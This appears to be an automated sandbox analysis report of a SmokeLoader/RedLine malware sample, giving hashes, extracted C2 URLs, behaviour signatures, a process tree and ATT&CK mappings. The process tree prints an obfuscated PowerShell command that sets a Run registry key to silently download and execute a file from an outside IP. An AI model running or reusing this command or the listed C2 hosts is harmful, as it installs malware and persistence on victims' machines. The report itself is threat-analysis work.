Analysis

  • max time kernel
    150s
  • max time network
    181s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    13-08-2021 08:19

General

  • Target

    1435210d7fd8a66a8a0787e93474510e.exe

  • Size

    180KB

  • MD5

    1435210d7fd8a66a8a0787e93474510e

  • SHA1

    40922836e23ec2518ecd0dd0791aa915a6db3510

  • SHA256

    db7567fb09a39541f647459821e529ccf33c99778a45eb8042461dc308916364

  • SHA512

    c26aad8d35001e506120147ba3cef9d39c0c908137061805ebbaa028005efe4b4a4c58bebfd5e2df94f1cfd78260c7eb69f6c02038530866e4b1e9702d879bc2

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe
    "C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe
      "C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1300
  • C:\Users\Admin\AppData\Local\Temp\A4F6.exe
    C:\Users\Admin\AppData\Local\Temp\A4F6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:860
  • C:\Users\Admin\AppData\Local\Temp\A8FD.exe
    C:\Users\Admin\AppData\Local\Temp\A8FD.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1756
  • C:\Users\Admin\AppData\Local\Temp\ABAC.exe
    C:\Users\Admin\AppData\Local\Temp\ABAC.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\SysWOW64\cmd.exe
      cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
      2⤵
      • Drops startup file
      PID:2028
  • C:\Users\Admin\AppData\Local\Temp\AF36.exe
    C:\Users\Admin\AppData\Local\Temp\AF36.exe
    1⤵
    • Executes dropped EXE
    PID:1100
  • C:\Users\Admin\AppData\Local\Temp\B58D.exe
    C:\Users\Admin\AppData\Local\Temp\B58D.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1256

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

Discovery

Query Registry

3
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

3
T1082

Peripheral Device Discovery

1
T1120

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Runtimebroker.exe
    MD5

    fcce9e904debca11888ba8898e9dca46

    SHA1

    fe1b574c5ad4db3d544708cc409357116f8638fc

    SHA256

    859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

    SHA512

    cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

  • C:\ProgramData\Runtimebroker.exe
    MD5

    fcce9e904debca11888ba8898e9dca46

    SHA1

    fe1b574c5ad4db3d544708cc409357116f8638fc

    SHA256

    859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

    SHA512

    cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

  • C:\Users\Admin\AppData\Local\Temp\A4F6.exe
    MD5

    a69e12607d01237460808fa1709e5e86

    SHA1

    4a12f82aee1c90e70cdf6be863ce1a749c8ae411

    SHA256

    188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

    SHA512

    7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

  • C:\Users\Admin\AppData\Local\Temp\A8FD.exe
    MD5

    fcce9e904debca11888ba8898e9dca46

    SHA1

    fe1b574c5ad4db3d544708cc409357116f8638fc

    SHA256

    859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

    SHA512

    cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

  • C:\Users\Admin\AppData\Local\Temp\A8FD.exe
    MD5

    fcce9e904debca11888ba8898e9dca46

    SHA1

    fe1b574c5ad4db3d544708cc409357116f8638fc

    SHA256

    859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

    SHA512

    cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

  • C:\Users\Admin\AppData\Local\Temp\ABAC.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\ABAC.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\AF36.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\AF36.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\B58D.exe
    MD5

    717d65dba56f47e540dca074c3977b3d

    SHA1

    d58aa30f826f41663e693f0ad930fdce584f1672

    SHA256

    61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

    SHA512

    b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

  • C:\Users\Admin\AppData\Local\Temp\s.bat
    MD5

    0a082f8cb869d05702806a8d7230ee1d

    SHA1

    bca0aa63551a125788b2c183146b6ba8a77ea349

    SHA256

    73a0f91db65cd12af0429020be1ffc3b4629777fc2c85c99da543662cdf4d84b

    SHA512

    d973f271d7c7474b2e5864bb688902a14e6d2e81c7b2555424233b4f2411fbb10fd67f4b02f6bc0ea301f3e8dcdfd069476acc379a97bb5a73690a9c15359496

  • \ProgramData\Runtimebroker.exe
    MD5

    fcce9e904debca11888ba8898e9dca46

    SHA1

    fe1b574c5ad4db3d544708cc409357116f8638fc

    SHA256

    859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

    SHA512

    cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

  • \ProgramData\Runtimebroker.exe
    MD5

    fcce9e904debca11888ba8898e9dca46

    SHA1

    fe1b574c5ad4db3d544708cc409357116f8638fc

    SHA256

    859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6

    SHA512

    cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126

  • memory/772-105-0x00000000050C0000-0x00000000052D1000-memory.dmp
    Filesize

    2.1MB

  • memory/772-107-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/772-96-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/772-95-0x0000000003510000-0x0000000003753000-memory.dmp
    Filesize

    2.3MB

  • memory/772-73-0x0000000000000000-mapping.dmp
  • memory/860-65-0x0000000000000000-mapping.dmp
  • memory/1100-82-0x0000000000000000-mapping.dmp
  • memory/1100-85-0x0000000000FC0000-0x0000000000FC1000-memory.dmp
    Filesize

    4KB

  • memory/1100-90-0x0000000004D00000-0x0000000004D01000-memory.dmp
    Filesize

    4KB

  • memory/1256-93-0x0000000000B20000-0x0000000000B21000-memory.dmp
    Filesize

    4KB

  • memory/1256-88-0x0000000000000000-mapping.dmp
  • memory/1256-97-0x0000000000700000-0x0000000000701000-memory.dmp
    Filesize

    4KB

  • memory/1260-64-0x0000000002AC0000-0x0000000002AD6000-memory.dmp
    Filesize

    88KB

  • memory/1300-61-0x0000000000402E1A-mapping.dmp
  • memory/1300-60-0x0000000000400000-0x0000000000409000-memory.dmp
    Filesize

    36KB

  • memory/1300-62-0x0000000075161000-0x0000000075163000-memory.dmp
    Filesize

    8KB

  • memory/1632-79-0x0000000000230000-0x000000000026B000-memory.dmp
    Filesize

    236KB

  • memory/1632-81-0x0000000000400000-0x0000000002C7D000-memory.dmp
    Filesize

    40.5MB

  • memory/1632-69-0x0000000000000000-mapping.dmp
  • memory/1640-77-0x0000000000000000-mapping.dmp
  • memory/1640-87-0x0000000000400000-0x0000000002C7D000-memory.dmp
    Filesize

    40.5MB

  • memory/1756-99-0x0000000000000000-mapping.dmp
  • memory/1756-103-0x0000000002410000-0x0000000002411000-memory.dmp
    Filesize

    4KB

  • memory/1756-106-0x00000000022D0000-0x0000000002F1A000-memory.dmp
    Filesize

    12.3MB

  • memory/1756-102-0x00000000049E0000-0x00000000049E1000-memory.dmp
    Filesize

    4KB

  • memory/1756-104-0x00000000022D0000-0x0000000002F1A000-memory.dmp
    Filesize

    12.3MB

  • memory/1756-110-0x00000000028D0000-0x00000000028D1000-memory.dmp
    Filesize

    4KB

  • memory/1756-101-0x00000000003A0000-0x00000000003A1000-memory.dmp
    Filesize

    4KB

  • memory/2000-63-0x0000000000220000-0x000000000022A000-memory.dmp
    Filesize

    40KB

  • memory/2028-109-0x0000000000000000-mapping.dmp